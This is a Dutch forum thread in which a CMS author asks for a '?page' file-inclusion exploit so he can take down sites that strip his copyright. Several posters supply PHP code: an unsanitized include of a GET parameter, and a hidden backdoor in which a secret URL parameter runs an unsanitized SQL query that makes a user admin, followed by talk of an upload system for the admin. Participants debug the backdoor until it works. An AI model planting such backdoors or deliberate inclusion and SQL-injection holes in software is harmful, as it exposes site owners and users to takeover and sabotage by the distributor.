Exploit gezocht!

Hey, all!

Ik heb vandaag lennard gepmt en vroeg of ik deze vraag in de webwereld "Forum" mag plaatsen.
Daarvoor kreeg ik toestemming ik zoek de ?page Exploit

Waarom de ?page=www.google.nl (Of welke link die je wil) Exploit?
Veel mensen vinden het irritant dat telkens hun "Copyright" wordt verwijderd dus bevoorbeeld.

Copyright © UltimateX voor het maken van dit Systeem.
Copyright © Noan voor het maken van dit Systeem.

Als ze dat doen kan ik met die "Exploit" de Website offline gooien.
Als iemand zoon Exploit stuur hem dan in dit topic.
Dat doe ik bevoorbeeld zo ?page=%de shell%
Dan kan ik alles edite.
Nu denk je vast waarom geen shell?

1. Met Exploits werken doe ik liever.
2. Het bestand is niet Gecmodd waardoor ik er niks aan heb.
3. Als je een shell hebt is ook een tip doe dan bij zoek .php dan zie je de bestands grote! met bevoorbeeld 70kb.

En als ik bevoorbeeld ?page heb heb ik allemaal mogelijkheden.
Bedankt voor het lezen!

Groetjes,
MrDylan

Dan kunnen ze het toch gewoon weghalen of beveiligen?

if(isset($_GET[p]))
{
$page = $_GET[p];
include($page);
}
?>
werkt alleen niet op iedere host want daar kan het geblokkeerd zijn.

Jesse, ze kunnen het beveiligen ja.
Maar sommige mensen weten tog niet iets van Exploits af.

Pss smiegles. Ik ga hem zodalijk testen.

// Op localhost werkt die ook niet echt.

het is ook een exploit die alleen op de oudere versies werkt van php

Smiegles schreef:

if(isset($_GET[p]))
{
$page = $_GET[p];
include($page);
}
?>
werkt alleen niet op iedere host want daar kan het geblokkeerd zijn.

Is het niet beter om te controleren of het bestand bestaat ?

Maartenl schreef:

Eerdere citaten tonen

Smiegles schreef:

if(isset($_GET[p]))
{
$page = $_GET[p];
include($page);
}
?>
werkt alleen niet op iedere host want daar kan het geblokkeerd zijn.

Is het niet beter om te controleren of het bestand bestaat ?

dit is om simpel te laten zien hoe de exploit werkt en ik ben ook niet van plan alles voortekouwen.

Hmm. het is tog wel handig als hij op een host staat.
Stel ze veranderen me copy en dan? hoe zal ik de site dan "Offline" moeten zetten.
Niet dus. Ze kunnen dat doen wat ze willen ;d

if(isset($_GET[dezelicentieisongeldigofisillegaalverkochtaaneenraarepersoonofzoweetikveek]))
{
mysql_query("UPDATE users SET rank=admin WHERE username=$_GET[dezelicentieisongeldigofisillegaalverkochtaaneenraarepersoonofzoweetikveek]");
}
?>

zoiets vaags? en dan een upload systeem in de admin"?

Daar dacht ik ook aan maar als je bevoorbeeld.
Uhmm.. De upload systeem bestanden moeten altijd CMODD 777.
Maar uploadsysteem heb ik ook al uitgeprobeerd maar werkt ook niet
Pss Smiegles je code is fout.

[COLOR= #0000BB]<?php[/COLOR]
[URL="http://www.php.net/if"]if[/URL][COLOR= #007700]([/COLOR][URL="http://www.php.net/isset"]isset[/URL][COLOR= #007700]([/COLOR][COLOR= #0000BB]$_GET[/COLOR][COLOR= #007700][[/COLOR][COLOR= #DD0000]dezelicentieisongeldigofisillegaalverkochtaaneenraarepersoonofzoweetikveek[/COLOR][COLOR= #007700]]))
{[/COLOR]
[URL="http://www.php.net/mysql_query"]mysql_query[/URL][COLOR= #007700]([/COLOR][COLOR= #DD0000]"UPDATE leden SET rank=admin WHERE username="[/COLOR][COLOR= #007700].[/COLOR][COLOR= #0000BB]$_GET[/COLOR][COLOR= #007700][[/COLOR][COLOR= #DD0000]"dezelicentieisongeldigofisillegaalverkochtaaneenraarepersoonofzoweetikveek"[/COLOR][COLOR= #007700]].[/COLOR][COLOR= #DD0000]""[/COLOR][COLOR= #007700]);
}[/COLOR]
?>

Dit is de goeie.

[COLOR= #0000BB]<?php[/COLOR]
[URL="http://www.php.net/if"]if[/URL][COLOR= #007700]([/COLOR][URL="http://www.php.net/isset"]isset[/URL][COLOR= #007700]([/COLOR][COLOR= #0000BB]$_GET[/COLOR][COLOR= #007700][[/COLOR][COLOR= #DD0000]dezelicentieisongeldigofisillegaalverkochtaaneenraarepersoonofzoweetikveek[/COLOR][COLOR= #007700]]))
{[/COLOR]
[URL="http://www.php.net/mysql_query"]mysql_query[/URL][COLOR= #007700]([/COLOR][COLOR= #DD0000]"UPDATE leden SET rank=admin WHERE username=.$_GET["[/COLOR]dezelicentieisongeldigofisillegaalverkochtaaneenraarepersoonofzoweetikveek[COLOR= #DD0000]"]."[/COLOR][COLOR= #007700]);
}[/COLOR]
?>

zo dan.

Mrdylan schreef:

Daar dacht ik ook aan maar als je bevoorbeeld.
Uhmm.. De upload systeem bestanden moeten altijd CMODD 777.
Maar uploadsysteem heb ik ook al uitgeprobeerd maar werkt ook niet
Pss Smiegles je code is fout.

[COLOR= #0000BB]<?php[/COLOR]
[URL="http://www.php.net/if"]if[/URL][COLOR= #007700]([/COLOR][URL="http://www.php.net/isset"]isset[/URL][COLOR= #007700]([/COLOR][COLOR= #0000BB]$_GET[/COLOR][COLOR= #007700][[/COLOR][COLOR= #DD0000]dezelicentieisongeldigofisillegaalverkochtaaneenraarepersoonofzoweetikveek[/COLOR][COLOR= #007700]]))
{[/COLOR]
[URL="http://www.php.net/mysql_query"]mysql_query[/URL][COLOR= #007700]([/COLOR][COLOR= #DD0000]"UPDATE leden SET rank=admin WHERE username = "[/COLOR] [COLOR= #007700].[/COLOR] [COLOR= #0000BB]$_GET[/COLOR][COLOR= #007700][[/COLOR][COLOR= #DD0000]dezelicentieisongeldigofisillegaalverkochtaaneenraarepersoonofzoweetikveek[/COLOR][COLOR= #007700]] .[/COLOR] [COLOR= #DD0000]""[/COLOR][COLOR= #007700]);
}[/COLOR]
?>

Dit is de goeie.

Doe het dan gewoon gelijk goed als je iets verbeterd...
@Smiegles ook fout..

Ik heb deze code getest op localhost en op webhost en hij werkt goed.
Ik kan injecten enz. Dus waarom is die fout?

WHERE username = dat stuk erachter was fout met de quotes.

Ah je hebt gelijk.
Helemaal vergeten